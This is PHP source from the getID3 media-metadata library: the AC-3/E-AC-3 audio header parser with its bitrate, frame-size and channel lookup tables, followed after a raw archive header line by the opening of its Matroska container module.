			$this->error('E-AC3 parsing is incomplete and experimental in this version of getID3 ('.$this->getid3->version().'). Notably the bitrate calculations are wrong -- value might (or not) be correct, but it is not calculated correctly. Email info@getid3.org if you know how to calculate EAC3 bitrate correctly.');
			$info['audio']['dataformat'] = 'eac3';

			$thisfile_ac3_raw_bsi['strmtyp']          =        $this->readHeaderBSI(2);
			$thisfile_ac3_raw_bsi['substreamid']      =        $this->readHeaderBSI(3);
			$thisfile_ac3_raw_bsi['frmsiz']           =        $this->readHeaderBSI(11);
			$thisfile_ac3_raw_bsi['fscod']            =        $this->readHeaderBSI(2);
			if ($thisfile_ac3_raw_bsi['fscod'] == 3) {
				$thisfile_ac3_raw_bsi['fscod2']       =        $this->readHeaderBSI(2);
				$thisfile_ac3_raw_bsi['numblkscod'] = 3; // six blocks per syncframe
			} else {
				$thisfile_ac3_raw_bsi['numblkscod']   =        $this->readHeaderBSI(2);
			}
			$thisfile_ac3['bsi']['blocks_per_sync_frame'] = self::blocksPerSyncFrame($thisfile_ac3_raw_bsi['numblkscod']);
			$thisfile_ac3_raw_bsi['acmod']            =        $this->readHeaderBSI(3);
			$thisfile_ac3_raw_bsi['flags']['lfeon']   = (bool) $this->readHeaderBSI(1);
			$thisfile_ac3_raw_bsi['bsid']             =        $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended
			$thisfile_ac3_raw_bsi['dialnorm']         =        $this->readHeaderBSI(5);
			$thisfile_ac3_raw_bsi['flags']['compr']       = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['compr']) {
				$thisfile_ac3_raw_bsi['compr']        =        $this->readHeaderBSI(8);
			}
			if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
				$thisfile_ac3_raw_bsi['dialnorm2']    =        $this->readHeaderBSI(5);
				$thisfile_ac3_raw_bsi['flags']['compr2']  = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['flags']['compr2']) {
					$thisfile_ac3_raw_bsi['compr2']   =        $this->readHeaderBSI(8);
				}
			}
			if ($thisfile_ac3_raw_bsi['strmtyp'] == 1) { // if dependent stream
				$thisfile_ac3_raw_bsi['flags']['chanmap'] = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['flags']['chanmap']) {
					$thisfile_ac3_raw_bsi['chanmap']  =        $this->readHeaderBSI(8);
				}
			}
			$thisfile_ac3_raw_bsi['flags']['mixmdat']     = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['mixmdat']) { // Mixing metadata
				if ($thisfile_ac3_raw_bsi['acmod'] > 2) { // if more than 2 channels
					$thisfile_ac3_raw_bsi['dmixmod']  =        $this->readHeaderBSI(2);
				}
				if (($thisfile_ac3_raw_bsi['acmod'] & 0x01) && ($thisfile_ac3_raw_bsi['acmod'] > 2)) { // if three front channels exist
					$thisfile_ac3_raw_bsi['ltrtcmixlev'] =        $this->readHeaderBSI(3);
					$thisfile_ac3_raw_bsi['lorocmixlev'] =        $this->readHeaderBSI(3);
				}
				if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) { // if a surround channel exists
					$thisfile_ac3_raw_bsi['ltrtsurmixlev'] =        $this->readHeaderBSI(3);
					$thisfile_ac3_raw_bsi['lorosurmixlev'] =        $this->readHeaderBSI(3);
				}
				if ($thisfile_ac3_raw_bsi['flags']['lfeon']) { // if the LFE channel exists
					$thisfile_ac3_raw_bsi['flags']['lfemixlevcod'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['lfemixlevcod']) {
						$thisfile_ac3_raw_bsi['lfemixlevcod']  =        $this->readHeaderBSI(5);
					}
				}
				if ($thisfile_ac3_raw_bsi['strmtyp'] == 0) { // if independent stream
					$thisfile_ac3_raw_bsi['flags']['pgmscl'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['pgmscl']) {
						$thisfile_ac3_raw_bsi['pgmscl']  =        $this->readHeaderBSI(6);
					}
					if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
						$thisfile_ac3_raw_bsi['flags']['pgmscl2'] = (bool) $this->readHeaderBSI(1);
						if ($thisfile_ac3_raw_bsi['flags']['pgmscl2']) {
							$thisfile_ac3_raw_bsi['pgmscl2']  =        $this->readHeaderBSI(6);
						}
					}
					$thisfile_ac3_raw_bsi['flags']['extpgmscl'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['extpgmscl']) {
						$thisfile_ac3_raw_bsi['extpgmscl']  =        $this->readHeaderBSI(6);
					}
					$thisfile_ac3_raw_bsi['mixdef']  =        $this->readHeaderBSI(2);
					if ($thisfile_ac3_raw_bsi['mixdef'] == 1) { // mixing option 2
						$thisfile_ac3_raw_bsi['premixcmpsel']  = (bool) $this->readHeaderBSI(1);
						$thisfile_ac3_raw_bsi['drcsrc']        = (bool) $this->readHeaderBSI(1);
						$thisfile_ac3_raw_bsi['premixcmpscl']  =        $this->readHeaderBSI(3);
					} elseif ($thisfile_ac3_raw_bsi['mixdef'] == 2) { // mixing option 3
						$thisfile_ac3_raw_bsi['mixdata']       =        $this->readHeaderBSI(12);
					} elseif ($thisfile_ac3_raw_bsi['mixdef'] == 3) { // mixing option 4
						$mixdefbitsread = 0;
						$thisfile_ac3_raw_bsi['mixdeflen']     =        $this->readHeaderBSI(5); $mixdefbitsread += 5;
						$thisfile_ac3_raw_bsi['flags']['mixdata2'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
						if ($thisfile_ac3_raw_bsi['flags']['mixdata2']) {
							$thisfile_ac3_raw_bsi['premixcmpsel']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							$thisfile_ac3_raw_bsi['drcsrc']        = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							$thisfile_ac3_raw_bsi['premixcmpscl']  =        $this->readHeaderBSI(3); $mixdefbitsread += 3;
							$thisfile_ac3_raw_bsi['flags']['extpgmlscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmlscl']) {
								$thisfile_ac3_raw_bsi['extpgmlscl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmcscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmcscl']) {
								$thisfile_ac3_raw_bsi['extpgmcscl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmrscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmrscl']) {
								$thisfile_ac3_raw_bsi['extpgmrscl']    =        $this->readHeaderBSI(4);
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmlsscl']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmlsscl']) {
								$thisfile_ac3_raw_bsi['extpgmlsscl']   =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmrsscl']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmrsscl']) {
								$thisfile_ac3_raw_bsi['extpgmrsscl']   =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmlfescl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmlfescl']) {
								$thisfile_ac3_raw_bsi['extpgmlfescl']  =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['dmixscl']      = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['dmixscl']) {
								$thisfile_ac3_raw_bsi['dmixscl']       =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['addch']        = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['addch']) {
								$thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
								if ($thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']) {
									$thisfile_ac3_raw_bsi['extpgmaux1scl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
								}
								$thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
								if ($thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']) {
									$thisfile_ac3_raw_bsi['extpgmaux2scl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
								}
							}
						}
						$thisfile_ac3_raw_bsi['flags']['mixdata3'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
						if ($thisfile_ac3_raw_bsi['flags']['mixdata3']) {
							$thisfile_ac3_raw_bsi['spchdat']   =        $this->readHeaderBSI(5); $mixdefbitsread += 5;
							$thisfile_ac3_raw_bsi['flags']['addspchdat'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['addspchdat']) {
								$thisfile_ac3_raw_bsi['spchdat1']   =         $this->readHeaderBSI(5); $mixdefbitsread += 5;
								$thisfile_ac3_raw_bsi['spchan1att'] =         $this->readHeaderBSI(2); $mixdefbitsread += 2;
								$thisfile_ac3_raw_bsi['flags']['addspchdat1'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
								if ($thisfile_ac3_raw_bsi['flags']['addspchdat1']) {
									$thisfile_ac3_raw_bsi['spchdat2']   =         $this->readHeaderBSI(5); $mixdefbitsread += 5;
									$thisfile_ac3_raw_bsi['spchan2att'] =         $this->readHeaderBSI(3); $mixdefbitsread += 3;
								}
							}
						}
						$mixdata_bits = (8 * ($thisfile_ac3_raw_bsi['mixdeflen'] + 2)) - $mixdefbitsread;
						$mixdata_fill = (($mixdata_bits % 8) ? 8 - ($mixdata_bits % 8) : 0);
						$thisfile_ac3_raw_bsi['mixdata']     =        $this->readHeaderBSI($mixdata_bits);
						$thisfile_ac3_raw_bsi['mixdatafill'] =        $this->readHeaderBSI($mixdata_fill);
						unset($mixdefbitsread, $mixdata_bits, $mixdata_fill);
					}
					if ($thisfile_ac3_raw_bsi['acmod'] < 2) { // if mono or dual mono source
						$thisfile_ac3_raw_bsi['flags']['paninfo'] = (bool) $this->readHeaderBSI(1);
						if ($thisfile_ac3_raw_bsi['flags']['paninfo']) {
							$thisfile_ac3_raw_bsi['panmean']   =        $this->readHeaderBSI(8);
							$thisfile_ac3_raw_bsi['paninfo']   =        $this->readHeaderBSI(6);
						}
						if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
							$thisfile_ac3_raw_bsi['flags']['paninfo2'] = (bool) $this->readHeaderBSI(1);
							if ($thisfile_ac3_raw_bsi['flags']['paninfo2']) {
								$thisfile_ac3_raw_bsi['panmean2']   =        $this->readHeaderBSI(8);
								$thisfile_ac3_raw_bsi['paninfo2']   =        $this->readHeaderBSI(6);
							}
						}
					}
					$thisfile_ac3_raw_bsi['flags']['frmmixcfginfo'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['frmmixcfginfo']) { // mixing configuration information
						if ($thisfile_ac3_raw_bsi['numblkscod'] == 0) {
							$thisfile_ac3_raw_bsi['blkmixcfginfo'][0]  =        $this->readHeaderBSI(5);
						} else {
							for ($blk = 0; $blk < $thisfile_ac3_raw_bsi['numblkscod']; $blk++) {
								$thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk] = (bool) $this->readHeaderBSI(1);
								if ($thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk]) { // mixing configuration information
									$thisfile_ac3_raw_bsi['blkmixcfginfo'][$blk]  =        $this->readHeaderBSI(5);
								}
							}
						}
					}
				}
			}
			$thisfile_ac3_raw_bsi['flags']['infomdat']          = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['infomdat']) { // Informational metadata
				$thisfile_ac3_raw_bsi['bsmod']                  =        $this->readHeaderBSI(3);
				$thisfile_ac3_raw_bsi['flags']['copyrightb']    = (bool) $this->readHeaderBSI(1);
				$thisfile_ac3_raw_bsi['flags']['origbs']        = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['acmod'] == 2) { //  if in 2/0 mode
					$thisfile_ac3_raw_bsi['dsurmod']            =        $this->readHeaderBSI(2);
					$thisfile_ac3_raw_bsi['dheadphonmod']       =        $this->readHeaderBSI(2);
				}
				if ($thisfile_ac3_raw_bsi['acmod'] >= 6) { //  if both surround channels exist
					$thisfile_ac3_raw_bsi['dsurexmod']          =        $this->readHeaderBSI(2);
				}
				$thisfile_ac3_raw_bsi['flags']['audprodi']      = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['flags']['audprodi']) {
					$thisfile_ac3_raw_bsi['mixlevel']           =        $this->readHeaderBSI(5);
					$thisfile_ac3_raw_bsi['roomtyp']            =        $this->readHeaderBSI(2);
					$thisfile_ac3_raw_bsi['flags']['adconvtyp'] = (bool) $this->readHeaderBSI(1);
				}
				if ($thisfile_ac3_raw_bsi['acmod'] == 0) { //  if 1+1 mode (dual mono, so some items need a second value)
					$thisfile_ac3_raw_bsi['flags']['audprodi2']      = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['audprodi2']) {
						$thisfile_ac3_raw_bsi['mixlevel2']           =        $this->readHeaderBSI(5);
						$thisfile_ac3_raw_bsi['roomtyp2']            =        $this->readHeaderBSI(2);
						$thisfile_ac3_raw_bsi['flags']['adconvtyp2'] = (bool) $this->readHeaderBSI(1);
					}
				}
				if ($thisfile_ac3_raw_bsi['fscod'] < 3) { // if not half sample rate
					$thisfile_ac3_raw_bsi['flags']['sourcefscod'] = (bool) $this->readHeaderBSI(1);
				}
			}
			if (($thisfile_ac3_raw_bsi['strmtyp'] == 0) && ($thisfile_ac3_raw_bsi['numblkscod'] != 3)) { //  if both surround channels exist
				$thisfile_ac3_raw_bsi['flags']['convsync'] = (bool) $this->readHeaderBSI(1);
			}
			if ($thisfile_ac3_raw_bsi['strmtyp'] == 2) { //  if bit stream converted from AC-3
				if ($thisfile_ac3_raw_bsi['numblkscod'] != 3) { // 6 blocks per syncframe
					$thisfile_ac3_raw_bsi['flags']['blkid']  = 1;
				} else {
					$thisfile_ac3_raw_bsi['flags']['blkid']  = (bool) $this->readHeaderBSI(1);
				}
				if ($thisfile_ac3_raw_bsi['flags']['blkid']) {
					$thisfile_ac3_raw_bsi['frmsizecod']  =        $this->readHeaderBSI(6);
				}
			}
			$thisfile_ac3_raw_bsi['flags']['addbsi']  = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['addbsi']) {
				$thisfile_ac3_raw_bsi['addbsil']  =        $this->readHeaderBSI(6);
				$thisfile_ac3_raw_bsi['addbsi']   =        $this->readHeaderBSI(($thisfile_ac3_raw_bsi['addbsil'] + 1) * 8);
			}

		} else {

			$this->error('Bit stream identification is version '.$thisfile_ac3_raw_bsi['bsid'].', but getID3() only understands up to version 16. Please submit a support ticket with a sample file.');
			unset($info['ac3']);
			return false;

		}

		if (isset($thisfile_ac3_raw_bsi['fscod2'])) {
			$thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup2($thisfile_ac3_raw_bsi['fscod2']);
		} else {
			$thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup($thisfile_ac3_raw_bsi['fscod']);
		}
		if ($thisfile_ac3_raw_bsi['fscod'] <= 3) {
			$info['audio']['sample_rate'] = $thisfile_ac3['sample_rate'];
		} else {
			$this->warning('Unexpected ac3.bsi.fscod value: '.$thisfile_ac3_raw_bsi['fscod']);
		}
		if (isset($thisfile_ac3_raw_bsi['frmsizecod'])) {
			$thisfile_ac3['frame_length'] = self::frameSizeLookup($thisfile_ac3_raw_bsi['frmsizecod'], $thisfile_ac3_raw_bsi['fscod']);
			$thisfile_ac3['bitrate']      = self::bitrateLookup($thisfile_ac3_raw_bsi['frmsizecod']);
		} elseif (!empty($thisfile_ac3_raw_bsi['frmsiz'])) {
			// this isn't right, but it's (usually) close, roughly 5% less than it should be.
			// but WHERE is the actual bitrate value stored in EAC3?? email info@getid3.org if you know!
			$thisfile_ac3['bitrate']      = ($thisfile_ac3_raw_bsi['frmsiz'] + 1) * 16 * 30; // The frmsiz field shall contain a value one less than the overall size of the coded syncframe in 16-bit words. That is, this field may assume a value ranging from 0 to 2047, and these values correspond to syncframe sizes ranging from 1 to 2048.
			// kludge-fix to make it approximately the expected value, still not "right":
			$thisfile_ac3['bitrate'] = round(($thisfile_ac3['bitrate'] * 1.05) / 16000) * 16000;
		}
		$info['audio']['bitrate'] = $thisfile_ac3['bitrate'];

		if (isset($thisfile_ac3_raw_bsi['bsmod']) && isset($thisfile_ac3_raw_bsi['acmod'])) {
			$thisfile_ac3['service_type'] = self::serviceTypeLookup($thisfile_ac3_raw_bsi['bsmod'], $thisfile_ac3_raw_bsi['acmod']);
		}
		$ac3_coding_mode = self::audioCodingModeLookup($thisfile_ac3_raw_bsi['acmod']);
		foreach($ac3_coding_mode as $key => $value) {
			$thisfile_ac3[$key] = $value;
		}
		switch ($thisfile_ac3_raw_bsi['acmod']) {
			case 0:
			case 1:
				$info['audio']['channelmode'] = 'mono';
				break;
			case 3:
			case 4:
				$info['audio']['channelmode'] = 'stereo';
				break;
			default:
				$info['audio']['channelmode'] = 'surround';
				break;
		}
		$info['audio']['channels'] = $thisfile_ac3['num_channels'];

		$thisfile_ac3['lfe_enabled'] = $thisfile_ac3_raw_bsi['flags']['lfeon'];
		if ($thisfile_ac3_raw_bsi['flags']['lfeon']) {
			$info['audio']['channels'] .= '.1';
		}

		$thisfile_ac3['channels_enabled'] = self::channelsEnabledLookup($thisfile_ac3_raw_bsi['acmod'], $thisfile_ac3_raw_bsi['flags']['lfeon']);
		$thisfile_ac3['dialogue_normalization'] = '-'.$thisfile_ac3_raw_bsi['dialnorm'].'dB';

		return true;
	}

	/**
	 * @param int $length
	 *
	 * @return int
	 */
	private function readHeaderBSI($length) {
		$data = substr($this->AC3header['bsi'], $this->BSIoffset, $length);
		$this->BSIoffset += $length;

		return bindec($data);
	}

	/**
	 * @param int $fscod
	 *
	 * @return int|string|false
	 */
	public static function sampleRateCodeLookup($fscod) {
		static $sampleRateCodeLookup = array(
			0 => 48000,
			1 => 44100,
			2 => 32000,
			3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute.
		);
		return (isset($sampleRateCodeLookup[$fscod]) ? $sampleRateCodeLookup[$fscod] : false);
	}

	/**
	 * @param int $fscod2
	 *
	 * @return int|string|false
	 */
	public static function sampleRateCodeLookup2($fscod2) {
		static $sampleRateCodeLookup2 = array(
			0 => 24000,
			1 => 22050,
			2 => 16000,
			3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute.
		);
		return (isset($sampleRateCodeLookup2[$fscod2]) ? $sampleRateCodeLookup2[$fscod2] : false);
	}

	/**
	 * @param int $bsmod
	 * @param int $acmod
	 *
	 * @return string|false
	 */
	public static function serviceTypeLookup($bsmod, $acmod) {
		static $serviceTypeLookup = array();
		if (empty($serviceTypeLookup)) {
			for ($i = 0; $i <= 7; $i++) {
				$serviceTypeLookup[0][$i] = 'main audio service: complete main (CM)';
				$serviceTypeLookup[1][$i] = 'main audio service: music and effects (ME)';
				$serviceTypeLookup[2][$i] = 'associated service: visually impaired (VI)';
				$serviceTypeLookup[3][$i] = 'associated service: hearing impaired (HI)';
				$serviceTypeLookup[4][$i] = 'associated service: dialogue (D)';
				$serviceTypeLookup[5][$i] = 'associated service: commentary (C)';
				$serviceTypeLookup[6][$i] = 'associated service: emergency (E)';
			}

			$serviceTypeLookup[7][1]      = 'associated service: voice over (VO)';
			for ($i = 2; $i <= 7; $i++) {
				$serviceTypeLookup[7][$i] = 'main audio service: karaoke';
			}
		}
		return (isset($serviceTypeLookup[$bsmod][$acmod]) ? $serviceTypeLookup[$bsmod][$acmod] : false);
	}

	/**
	 * @param int $acmod
	 *
	 * @return array|false
	 */
	public static function audioCodingModeLookup($acmod) {
		// array(channel configuration, # channels (not incl LFE), channel order)
		static $audioCodingModeLookup = array (
			0 => array('channel_config'=>'1+1', 'num_channels'=>2, 'channel_order'=>'Ch1,Ch2'),
			1 => array('channel_config'=>'1/0', 'num_channels'=>1, 'channel_order'=>'C'),
			2 => array('channel_config'=>'2/0', 'num_channels'=>2, 'channel_order'=>'L,R'),
			3 => array('channel_config'=>'3/0', 'num_channels'=>3, 'channel_order'=>'L,C,R'),
			4 => array('channel_config'=>'2/1', 'num_channels'=>3, 'channel_order'=>'L,R,S'),
			5 => array('channel_config'=>'3/1', 'num_channels'=>4, 'channel_order'=>'L,C,R,S'),
			6 => array('channel_config'=>'2/2', 'num_channels'=>4, 'channel_order'=>'L,R,SL,SR'),
			7 => array('channel_config'=>'3/2', 'num_channels'=>5, 'channel_order'=>'L,C,R,SL,SR'),
		);
		return (isset($audioCodingModeLookup[$acmod]) ? $audioCodingModeLookup[$acmod] : false);
	}

	/**
	 * @param int $cmixlev
	 *
	 * @return int|float|string|false
	 */
	public static function centerMixLevelLookup($cmixlev) {
		static $centerMixLevelLookup;
		if (empty($centerMixLevelLookup)) {
			$centerMixLevelLookup = array(
				0 => pow(2, -3.0 / 6), // 0.707 (-3.0 dB)
				1 => pow(2, -4.5 / 6), // 0.595 (-4.5 dB)
				2 => pow(2, -6.0 / 6), // 0.500 (-6.0 dB)
				3 => 'reserved'
			);
		}
		return (isset($centerMixLevelLookup[$cmixlev]) ? $centerMixLevelLookup[$cmixlev] : false);
	}

	/**
	 * @param int $surmixlev
	 *
	 * @return int|float|string|false
	 */
	public static function surroundMixLevelLookup($surmixlev) {
		static $surroundMixLevelLookup;
		if (empty($surroundMixLevelLookup)) {
			$surroundMixLevelLookup = array(
				0 => pow(2, -3.0 / 6),
				1 => pow(2, -6.0 / 6),
				2 => 0,
				3 => 'reserved'
			);
		}
		return (isset($surroundMixLevelLookup[$surmixlev]) ? $surroundMixLevelLookup[$surmixlev] : false);
	}

	/**
	 * @param int $dsurmod
	 *
	 * @return string|false
	 */
	public static function dolbySurroundModeLookup($dsurmod) {
		static $dolbySurroundModeLookup = array(
			0 => 'not indicated',
			1 => 'Not Dolby Surround encoded',
			2 => 'Dolby Surround encoded',
			3 => 'reserved'
		);
		return (isset($dolbySurroundModeLookup[$dsurmod]) ? $dolbySurroundModeLookup[$dsurmod] : false);
	}

	/**
	 * @param int  $acmod
	 * @param bool $lfeon
	 *
	 * @return array
	 */
	public static function channelsEnabledLookup($acmod, $lfeon) {
		$lookup = array(
			'ch1'=>($acmod == 0),
			'ch2'=>($acmod == 0),
			'left'=>($acmod > 1),
			'right'=>($acmod > 1),
			'center'=>(bool) ($acmod & 0x01),
			'surround_mono'=>false,
			'surround_left'=>false,
			'surround_right'=>false,
			'lfe'=>$lfeon);
		switch ($acmod) {
			case 4:
			case 5:
				$lookup['surround_mono']  = true;
				break;
			case 6:
			case 7:
				$lookup['surround_left']  = true;
				$lookup['surround_right'] = true;
				break;
		}
		return $lookup;
	}

	/**
	 * @param int $compre
	 *
	 * @return float|int
	 */
	public static function heavyCompression($compre) {
		// The first four bits indicate gain changes in 6.02dB increments which can be
		// implemented with an arithmetic shift operation. The following four bits
		// indicate linear gain changes, and require a 5-bit multiply.
		// We will represent the two 4-bit fields of compr as follows:
		//   X0 X1 X2 X3 . Y4 Y5 Y6 Y7
		// The meaning of the X values is most simply described by considering X to represent a 4-bit
		// signed integer with values from -8 to +7. The gain indicated by X is then (X + 1) * 6.02 dB. The
		// following table shows this in detail.

		// Meaning of 4 msb of compr
		//  7    +48.16 dB
		//  6    +42.14 dB
		//  5    +36.12 dB
		//  4    +30.10 dB
		//  3    +24.08 dB
		//  2    +18.06 dB
		//  1    +12.04 dB
		//  0     +6.02 dB
		// -1         0 dB
		// -2     -6.02 dB
		// -3    -12.04 dB
		// -4    -18.06 dB
		// -5    -24.08 dB
		// -6    -30.10 dB
		// -7    -36.12 dB
		// -8    -42.14 dB

		$fourbit = str_pad(decbin(($compre & 0xF0) >> 4), 4, '0', STR_PAD_LEFT);
		if ($fourbit[0] == '1') {
			$log_gain = -8 + bindec(substr($fourbit, 1));
		} else {
			$log_gain = bindec(substr($fourbit, 1));
		}
		$log_gain = ($log_gain + 1) * getid3_lib::RGADamplitude2dB(2);

		// The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to
		// be an unsigned fractional integer, with a leading value of 1, or: 0.1 Y4 Y5 Y6 Y7 (base 2). Y can
		// represent values between 0.111112 (or 31/32) and 0.100002 (or 1/2). Thus, Y can represent gain
		// changes from -0.28 dB to -6.02 dB.

		$lin_gain = (16 + ($compre & 0x0F)) / 32;

		// The combination of X and Y values allows compr to indicate gain changes from
		//  48.16 - 0.28 = +47.89 dB, to
		// -42.14 - 6.02 = -48.16 dB.

		return $log_gain - $lin_gain;
	}

	/**
	 * @param int $roomtyp
	 *
	 * @return string|false
	 */
	public static function roomTypeLookup($roomtyp) {
		static $roomTypeLookup = array(
			0 => 'not indicated',
			1 => 'large room, X curve monitor',
			2 => 'small room, flat monitor',
			3 => 'reserved'
		);
		return (isset($roomTypeLookup[$roomtyp]) ? $roomTypeLookup[$roomtyp] : false);
	}

	/**
	 * @param int $frmsizecod
	 * @param int $fscod
	 *
	 * @return int|false
	 */
	public static function frameSizeLookup($frmsizecod, $fscod) {
		// LSB is whether padding is used or not
		$padding     = (bool) ($frmsizecod & 0x01);
		$framesizeid =        ($frmsizecod & 0x3E) >> 1;

		static $frameSizeLookup = array();
		if (empty($frameSizeLookup)) {
			$frameSizeLookup = array (
				0  => array( 128,  138,  192),  //  32 kbps
				1  => array( 160,  174,  240),  //  40 kbps
				2  => array( 192,  208,  288),  //  48 kbps
				3  => array( 224,  242,  336),  //  56 kbps
				4  => array( 256,  278,  384),  //  64 kbps
				5  => array( 320,  348,  480),  //  80 kbps
				6  => array( 384,  416,  576),  //  96 kbps
				7  => array( 448,  486,  672),  // 112 kbps
				8  => array( 512,  556,  768),  // 128 kbps
				9  => array( 640,  696,  960),  // 160 kbps
				10 => array( 768,  834, 1152),  // 192 kbps
				11 => array( 896,  974, 1344),  // 224 kbps
				12 => array(1024, 1114, 1536),  // 256 kbps
				13 => array(1280, 1392, 1920),  // 320 kbps
				14 => array(1536, 1670, 2304),  // 384 kbps
				15 => array(1792, 1950, 2688),  // 448 kbps
				16 => array(2048, 2228, 3072),  // 512 kbps
				17 => array(2304, 2506, 3456),  // 576 kbps
				18 => array(2560, 2786, 3840)   // 640 kbps
			);
		}
		$paddingBytes = 0;
		if (($fscod == 1) && $padding) {
			// frame lengths are padded by 1 word (16 bits) at 44100
			// (fscode==1) means 44100Hz (see sampleRateCodeLookup)
			$paddingBytes = 2;
		}
		return (isset($frameSizeLookup[$framesizeid][$fscod]) ? $frameSizeLookup[$framesizeid][$fscod] + $paddingBytes : false);
	}

	/**
	 * @param int $frmsizecod
	 *
	 * @return int|false
	 */
	public static function bitrateLookup($frmsizecod) {
		// LSB is whether padding is used or not
		$padding     = (bool) ($frmsizecod & 0x01);
		$framesizeid =        ($frmsizecod & 0x3E) >> 1;

		static $bitrateLookup = array(
			 0 =>  32000,
			 1 =>  40000,
			 2 =>  48000,
			 3 =>  56000,
			 4 =>  64000,
			 5 =>  80000,
			 6 =>  96000,
			 7 => 112000,
			 8 => 128000,
			 9 => 160000,
			10 => 192000,
			11 => 224000,
			12 => 256000,
			13 => 320000,
			14 => 384000,
			15 => 448000,
			16 => 512000,
			17 => 576000,
			18 => 640000,
		);
		return (isset($bitrateLookup[$framesizeid]) ? $bitrateLookup[$framesizeid] : false);
	}

	/**
	 * @param int $numblkscod
	 *
	 * @return int|false
	 */
	public static function blocksPerSyncFrame($numblkscod) {
		static $blocksPerSyncFrameLookup = array(
			0 => 1,
			1 => 2,
			2 => 3,
			3 => 6,
		);
		return (isset($blocksPerSyncFrameLookup[$numblkscod]) ? $blocksPerSyncFrameLookup[$numblkscod] : false);
	}


}
PKE]/֋module.audio-video.matroska.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.matriska.php                             //
// module for analyzing Matroska containers                    //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

define('EBML_ID_CHAPTERS',                  0x0043A770); // [10][43][A7][70] -- A system to define basic menus and partition data. For more detailed information, look at the Chapters Explanation.
define('EBML_ID_SEEKHEAD',                  0x014D9B74); // [11][4D][9B][74] -- Contains the position of other level 1 elements.
define('EBML_ID_TAGS',                      0x0254C367); // [12][54][C3][67] -- Element containing elements specific to Tracks/Chapters. A list of valid tags can be found <http://www.matroska.org/technical/specs/tagging/index.html>.
